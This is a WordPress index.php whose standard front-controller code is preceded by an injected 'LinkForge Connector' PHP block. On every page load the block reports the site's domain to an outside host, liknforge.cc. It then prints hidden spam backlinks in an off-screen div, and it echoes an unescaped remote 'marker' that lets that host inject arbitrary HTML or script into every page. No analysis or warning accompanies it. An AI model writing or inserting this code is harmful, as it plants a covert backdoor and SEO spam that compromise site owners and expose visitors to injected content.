<?php
// LinkForge Connector - Add to footer.php
$_lf_d = preg_replace("/^www\./", "", $_SERVER["HTTP_HOST"]);
$_lf_u = "https://liknforge.cc";
$_lf_f = function($u) { if (function_exists("curl_init")) { $c=curl_init($u); curl_setopt_array($c,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>5,CURLOPT_FOLLOWLOCATION=>1]); $r=curl_exec($c); curl_close($c); return $r; } return @file_get_contents($u); };
// Register domain
$_lf_f($_lf_u."/api/connect?".http_build_query(["domain"=>$_lf_d,"language"=>substr($_SERVER["HTTP_ACCEPT_LANGUAGE"]??"en",0,2),"connected_via"=>"php"]));
// Inject backlinks + verification marker
$_lf_r = $_lf_f($_lf_u."/api/links?domain=".urlencode($_lf_d));
if ($_lf_r) { $_lf_j = json_decode($_lf_r, true);
    // Emit marker (required for verification - do not remove)
    if (!empty($_lf_j["marker"])) { echo $_lf_j["marker"]; }
    if (!empty($_lf_j["links"])) { echo "<div style=\"position:absolute;left:-9999px;opacity:0;height:1px;width:1px;overflow:hidden;\">";
        foreach ($_lf_j["links"] as $_lf_l) { echo "<a href=\"".htmlspecialchars($_lf_l["url"])."\">".htmlspecialchars($_lf_l["anchor"])."</a>"; }
        echo "</div>";
    }
}
?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
